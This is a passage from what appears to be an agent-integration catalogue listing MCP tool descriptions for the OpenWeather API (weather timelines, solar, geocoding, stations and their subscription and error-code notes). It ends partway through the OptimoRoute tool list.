free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/4.0/onecall/timeline/1day. Scopes: api. openweather_get_data_4_0_onecall_timeline_1h (read) — One Call 4.0: hourly timeline via GET api.openweathermap.org/data/4.0/onecall/timeline/1h. One Call 4.0 hourly timeline at a point; `start` (Unix seconds, UTC) moves the window. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/4.0/onecall/timeline/1h. Scopes: api. openweather_get_data_4_0_onecall_timeline_1min (read) — One Call 4.0: minute-by-minute timeline via GET api.openweathermap.org/data/4.0/onecall/timeline/1min. One Call 4.0 minute-by-minute timeline (precipitation for the coming hour) at a point. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. `units` is standard (Kelvin, m/s -- the default), metric (Celsius, m/s) or imperial (Fahrenheit, mph); `lang` localises the weather description text. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/data/4.0/onecall/timeline/1min. Scopes: api. openweather_get_energy_1_0_location_by_location_id (read) — Solar panels v1.0: get a location via GET api.openweathermap.org/energy/1.0/location/{location_id}. Solar Energy Panel Prediction v1.0: fetch one registered site by `location_id`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/location/{location_id}. Scopes: api. openweather_get_energy_1_0_location_by_location_id_data (read) — Solar panels v1.0: hourly power output for a location via GET api.openweathermap.org/energy/1.0/location/{location_id}/data. Solar Energy Panel Prediction v1.0: hourly predicted power output for the panels at `location_id` on one `date` (YYYY-MM-DD); `tz` is the +HH:MM offset. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/location/{location_id}/data. Scopes: api. openweather_get_energy_1_0_location_by_location_id_interval_data (read) — Solar panels v1.0: interval power output for a location via GET api.openweathermap.org/energy/1.0/location/{location_id}/interval_data. Solar Energy Panel Prediction v1.0: predicted power output for the panels at `location_id` on one `date` (YYYY-MM-DD) in `interval` steps; `tz` is the +HH:MM offset. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/location/{location_id}/interval_data. Scopes: api. openweather_get_energy_1_0_location_by_location_id_panels (read) — Solar panels v1.0: list panels at a location via GET api.openweathermap.org/energy/1.0/location/{location_id}/panels. Solar Energy Panel Prediction v1.0: list the panels defined at `location_id`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/location/{location_id}/panels. Scopes: api. openweather_get_energy_1_0_locations (read) — Solar panels v1.0: list locations via GET api.openweathermap.org/energy/1.0/locations. Solar Energy Panel Prediction v1.0: list the locations (sites) registered on this account, each with its `id` and coordinates. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/locations. Scopes: api. openweather_get_energy_1_0_panel_by_panel_id (read) — Solar panels v1.0: get a panel via GET api.openweathermap.org/energy/1.0/panel/{panel_id}. Solar Energy Panel Prediction v1.0: fetch one panel by `panel_id`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/panel/{panel_id}. Scopes: api. openweather_get_energy_1_0_solar_data (read) — Solar irradiance: hourly (v1.0) via GET api.openweathermap.org/energy/1.0/solar/data. Hourly solar irradiance (GHI, DNI, DHI) for one `date` (YYYY-MM-DD) at a point, clear-sky and cloudy-sky, v1.0 of the Solar Irradiance API. `tz` is the +HH:MM offset. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/solar/data. Scopes: api. openweather_get_energy_1_0_solar_interval_data (read) — Solar irradiance: intervals (v1.0) via GET api.openweathermap.org/energy/1.0/solar/interval_data. Solar irradiance for one `date` (YYYY-MM-DD) at a point in `interval` steps (15m or 1h), v1.0 of the Solar Irradiance API. `tz` is the +HH:MM offset. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/1.0/solar/interval_data. Scopes: api. openweather_get_energy_2_0_location_by_location_id (read) — Solar panels v2.0: get a location via GET api.openweathermap.org/energy/2.0/location/{location_id}. Solar Energy Panel Prediction v2.0: fetch one registered site by `location_id`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/2.0/location/{location_id}. Scopes: api. openweather_get_energy_2_0_location_by_location_id_interval_data (read) — Solar panels v2.0: interval power output for a location via GET api.openweathermap.org/energy/2.0/location/{location_id}/interval_data. Solar Energy Panel Prediction v2.0: predicted power output for the panels at `location_id` on one `date` (YYYY-MM-DD) in `interval` steps; `tz` is the +HH:MM offset. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/2.0/location/{location_id}/interval_data. Scopes: api. openweather_get_energy_2_0_location_by_location_id_panels (read) — Solar panels v2.0: list panels at a location via GET api.openweathermap.org/energy/2.0/location/{location_id}/panels. Solar Energy Panel Prediction v2.0: list the panels defined at `location_id`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/2.0/location/{location_id}/panels. Scopes: api. openweather_get_energy_2_0_locations (read) — Solar panels v2.0: list locations via GET api.openweathermap.org/energy/2.0/locations. Solar Energy Panel Prediction v2.0: list the locations (sites) registered on this account. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/2.0/locations. Scopes: api. openweather_get_energy_2_0_panel_by_panel_id (read) — Solar panels v2.0: get a panel via GET api.openweathermap.org/energy/2.0/panel/{panel_id}. Solar Energy Panel Prediction v2.0: fetch one panel by `panel_id`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/2.0/panel/{panel_id}. Scopes: api. openweather_get_energy_2_0_solar_interval_data (read) — Solar irradiance: intervals (v2.0) via GET api.openweathermap.org/energy/2.0/solar/interval_data. Solar irradiance for one `date` (YYYY-MM-DD) at a point in `interval` steps, v2.0 of the Solar Irradiance API. `tz` is the +HH:MM offset. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/energy/2.0/solar/interval_data. Scopes: api. openweather_get_geo_1_0_direct (read) — Geocode a place name via GET api.openweathermap.org/geo/1.0/direct. Turn a place name into coordinates. `q` is `city`, `city,country code` or `city,state code,country code` (ISO 3166); `limit` caps the number of matches (up to 5). Each match carries `name`, `lat`, `lon`, `country`, `state` and localised names. Call this before any tool that takes `lat`/`lon` when you only have a name. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/geo/1.0/direct. Scopes: api. openweather_get_geo_1_0_reverse (read) — Reverse geocode coordinates via GET api.openweathermap.org/geo/1.0/reverse. Turn coordinates into place names: the localities at or near `lat`/`lon`, each with `name`, `country`, `state` and localised names. `limit` caps the number of results. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/geo/1.0/reverse. Scopes: api. openweather_get_geo_1_0_zip (read) — Geocode a zip or post code via GET api.openweathermap.org/geo/1.0/zip. Turn a zip or post code into coordinates. `zip` is `code,country code` (ISO 3166), for example `E14,GB` or `10001,US`; the country defaults to US when omitted. Returns `zip`, `name`, `lat`, `lon` and `country`. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/geo/1.0/zip. Scopes: api. openweather_get_lightning_1_0_data (read) — Historical lightning strikes via GET demo.openweathermap.org/lightning/1.0/data. Historical lightning strikes within `radius` km of a point between `start_date` and `end_date` (YYYY-MM-DD), from demo.openweathermap.org. Returns the strikes list, empty when there were none. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: served from demo.openweathermap.org and answered 200 to a FREE key on 2026-09-19; OpenWeather documents it as a separate product, so treat a 401 here as 'needs a plan or the key is still activating' rather than as a bad key. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/lightning/1.0/data. Scopes: api. openweather_get_wind_heights_1_0_forecast (read) — Wind forecast at altitude via GET demo.openweathermap.org/wind-heights/1.0/forecast. Wind forecast at a given `altitude_meters` above a point, in 15-minute steps for up to `max_hours` ahead, with the wind and temperature at the matching pressure level, from demo.openweathermap.org. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: served from demo.openweathermap.org and answered 200 to a FREE key on 2026-09-19; OpenWeather documents it as a separate product, so treat a 401 here as 'needs a plan or the key is still activating' rather than as a bad key. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/wind-heights/1.0/forecast. Scopes: api. openweather_get_wind_heights_1_0_forecast_power_generation (read) — Wind power generation forecast via GET demo.openweathermap.org/wind-heights/1.0/forecast/power_generation. Wind turbine power-generation forecast at a point: give the hub `altitude_meters` and the turbine's `turbine_power_w`, and optionally its `cut_in_speed`, `rated_speed`, `cut_out_speed`, `reference_density`, `gas_constant_dry_air`, `availability_factor`, `electrical_losses` and `wake_losses`, to receive expected output per step, from demo.openweathermap.org. Identify the place by `lat` and `lon` (decimal degrees); resolve a name, zip or post code first with the geocoding tools. ENTITLEMENT: served from demo.openweathermap.org and answered 200 to a FREE key on 2026-09-19; OpenWeather documents it as a separate product, so treat a 401 here as 'needs a plan or the key is still activating' rather than as a bad key. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. GET /api/v1/openweather/wind-heights/1.0/forecast/power_generation. Scopes: api. openweather_post_assistant_session (write) — AI Weather Assistant: start a session via POST api.openweathermap.org/assistant/session. Start an AI Weather Assistant conversation: send a natural-language `prompt` about the weather or weather-dependent plans and receive the assistant's answer plus a `session_id` to continue the conversation with. The body is JSON `{"prompt": "..."}`. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/assistant/session. Scopes: api. openweather_post_assistant_session_by_session_id (write) — AI Weather Assistant: continue a session via POST api.openweathermap.org/assistant/session/{session_id}. Continue an AI Weather Assistant conversation identified by `session_id` (from the start-session call) with another `prompt`; the assistant keeps the earlier context. ENTITLEMENT: requires the One Call by Call subscription, which is NOT part of the Free plan and is bought separately (1,000 calls/day free with a card on file; home.openweathermap.org/subscriptions). Without it OpenWeather answers 401 'requires a separate subscription to the One Call by Call plan'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key, for a wrong key AND for no key at all, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/assistant/session/{session_id}. Scopes: api. openweather_post_data_2_5_roadrisk (read) — Road risk along a route via POST api.openweathermap.org/data/2.5/roadrisk. Road Risk along a route: POST a JSON body with `track`, a list of `{lat, lon, dt}` waypoints (dt in Unix seconds, UTC), and receive the weather, road-surface state and hazard alerts expected at each waypoint at that time. A POST that only READS: nothing is stored. ENTITLEMENT: NOT in the Free plan. This product needs a paid OpenWeather plan (measured 2026-09-19: a free key is answered 401 'Invalid API key', which is the SAME message OpenWeather sends for a key that is still activating and for a wrong key). A 401 on this tool therefore means 'this product needs a paid plan, or the key is still activating (up to 2 hours)' -- it is NOT evidence that the key is invalid; check with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/data/2.5/roadrisk. Scopes: api. openweather_post_data_3_0_measurements (write) — Send station measurements via POST api.openweathermap.org/data/3.0/measurements. Send measurements from a personal weather station. The body is a JSON ARRAY of measurement objects, each with `station_id` (internal `ID`), `dt` (Unix seconds, UTC) and any of temperature, wind_speed, wind_gust, wind_deg, pressure, humidity, rain_1h/6h/24h, snow_1h/6h/24h, dew_point, humidex, heat_index, visibility_distance, weather and clouds. OpenWeather answers 204 on success (measured 2026-09-19 with one real measurement). Measurements are AGGREGATED ASYNCHRONOUSLY: a read issued right after a send returned `[]` at every aggregation level, so allow time before reading back. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/data/3.0/measurements. Scopes: api. openweather_post_data_3_0_stations (write) — Register a weather station via POST api.openweathermap.org/data/3.0/stations. Register a new personal weather station on this account. The JSON body needs `external_id` (your own identifier), `name`, `latitude`, `longitude` and `altitude` (metres); OpenWeather answers 201 with the station's internal `ID` (spelled `ID` on the create response and `id` on every read), which the measurement tools use. An invalid body is refused 400 by the authenticated handler ('Bad external id'). VERIFIED 2026-09-19 by registering a station (201) and reading it back (200). ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/data/3.0/stations. Scopes: api. openweather_post_energy_1_0_location_by_location_id_panels (write) — Solar panels v1.0: add a panel to a location via POST api.openweathermap.org/energy/1.0/location/{location_id}/panels. Solar Energy Panel Prediction v1.0: add a panel at `location_id`. The JSON body needs `tilt` (0-90 degrees) and `azimuth` (0-360) and either `peak_power` (kW) or `area` (m2); `type` is the cell technology (mono-si default, poly-si, tf-as, cdte). ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/energy/1.0/location/{location_id}/panels. Scopes: api. openweather_post_energy_1_0_locations (write) — Solar panels v1.0: create a location via POST api.openweathermap.org/energy/1.0/locations. Solar Energy Panel Prediction v1.0: register a site. The JSON body is a GeoJSON-style point -- `type: "point"` and `coordinates`, a list with one `{lat, lon}` -- and OpenWeather answers with the new location's `id`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/energy/1.0/locations. Scopes: api. openweather_post_energy_2_0_location_by_location_id_panels (write) — Solar panels v2.0: add a panel to a location via POST api.openweathermap.org/energy/2.0/location/{location_id}/panels. Solar Energy Panel Prediction v2.0: add a panel at `location_id` -- `tilt`, `azimuth`, `peak_power` or `area`, and `type`, as in v1.0. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/energy/2.0/location/{location_id}/panels. Scopes: api. openweather_post_energy_2_0_locations (write) — Solar panels v2.0: create a location via POST api.openweathermap.org/energy/2.0/locations. Solar Energy Panel Prediction v2.0: register a site. The JSON body is `type: "point"` plus `coordinates`, a list with one `{lat, lon}`. ENTITLEMENT: requires the Solar Energy Panel Prediction subscription, bought separately from the Free plan. Without it OpenWeather answers 401 'using Solar Energy Panel Prediction API requires a separate subscription'. MEASURED 2026-09-19: that message comes back for a valid unsubscribed key AND for a wrong key, so it means 'subscription required' and says NOTHING about the key itself -- check the key with Current weather, which is free. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. POST /api/v1/openweather/energy/2.0/locations. Scopes: api. openweather_put_data_3_0_stations_by_id (write) — Update a weather station via PUT api.openweathermap.org/data/3.0/stations/{id}. Update a registered weather station's `external_id`, `name`, `latitude`, `longitude` or `altitude` by its internal `id`. Send the fields to change as a JSON body. ENTITLEMENT: included in the Free plan (measured 2026-09-19 with a free key). A 401 on this tool means the key itself was not accepted -- it is still activating (up to 2 hours after registration), was pasted wrong, or was revoked. Free-plan limit: 60 calls per minute; OpenWeather also asks for no more than one call per location every 10 minutes, since its model updates no faster than that. A 429 is a rate limit, never a credential problem. PUT /api/v1/openweather/data/3.0/stations/{id}. Scopes: api. ================================================================================ ## OptimoRoute URL: https://www.agenticfabriq.com/integrations/optimoroute Section: Integrated Tools OptimoRoute — 24 MCP tools Provider key: optimoroute. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. optimoroute_get_get_completion_details (read) — Read how orders were completed, by order number, via GET /get_completion_details. The GET form, documented in the reference's own prose and measured live 2026-09-24: repeat `orderNo` once per order. It reaches only orders addressed by the number YOU assigned, and it cannot ask for customer feedback -- use the POST form for `id` lookups or for `includeCustomerFeedback`. Each order comes back with its own `success`, and an unknown one is reported as `ERR_ORD_NOT_FOUND` in the list rather than failing the call. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. GET /api/v1/optimoroute/get_completion_details. Scopes: api. optimoroute_get_get_dispatch_status (read) — Read whether a date's routes and customer notifications have been sent, via GET /get_dispatch_status. With no `date` it answers for the LIVE routes -- the ones most recently sent to drivers -- and reports which date those are. `includeRouteChanges` adds what has changed since the last send. This is the SEND status, not the delivery status: it says the routes went out, not that a driver opened them. It is also this connection's health check -- it takes no arguments, costs nothing and answers `success: true` for a working key (measured 2026-09-24), which is why the declared credential probe uses it. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. GET /api/v1/optimoroute/get_dispatch_status. Scopes: api. optimoroute_get_get_events (read) — Read what drivers' mobile apps have reported, via GET /get_events. A CURSOR, NOT A SEARCH: call it with an empty `after_tag`, keep the `tag` from the reply, and pass that as `after_tag` next time to get only what has happened since. `remainingEvents` says how much is still queued. EVENTS CAN ARRIVE OUT OF ORDER -- a phone that was offline syncs when it reconnects, so a 9:00 completion can follow a 9:10 one -- and each event carries `unixTimestamp`, `utcTime` and `localTime` for the same moment, so order by the timestamp rather than by position. This is the live feed; 'Get order completion details' is the settled record. The reference's section titled 'Get Mobile Events' documents THIS path: `/get_mobile_events` is not a route at all (404, measured 2026-09-23). OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. GET /api/v1/optimoroute/get_events. Scopes: api. optimoroute_get_get_orders (read) — Read orders by order number via GET /get_orders. The GET form of 'Get orders', documented in the reference's own prose and measured live 2026-09-24: repeat `orderNo` once per order. It reaches only orders addressed by the number YOU assigned -- use 'Get orders' (the POST form) when you hold OptimoRoute's `id` instead, or when you are mixing the two. Each requested order comes back with its own `success`, and one that does not exist is reported as `ERR_ORD_NOT_FOUND` in the list rather than failing the call. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. GET /api/v1/optimoroute/get_orders. Scopes: api. optimoroute_get_get_planning_status (read) — Poll a running optimization via GET /get_planning_status. `planningId` is mandatory. `status` is a single letter -- N new, R running, C cancelled by the user, F finished, E error -- alongside `percentageComplete`. F means the plan is ready to read with 'Get planned routes'. A `planningId` the account does not know answers `ERR_JOB_NOT_FOUND`. OptimoRoute answers HTTP 200 to failures as well as successes and puts the verdict in the body's `success` flag with a `code`; Agentic Fabriq reads that envelope and turns a request-level failure into a real 4xx, so a result that reaches you is one OptimoRoute accepted. GET /api/v1/optimoroute/get_planning_status. Scopes: api. optimoroute_get_get_routes (read) — Read the planned routes for one date via GET /get_routes. `date` is mandatory. Each route carries its driver, vehicle, distance, 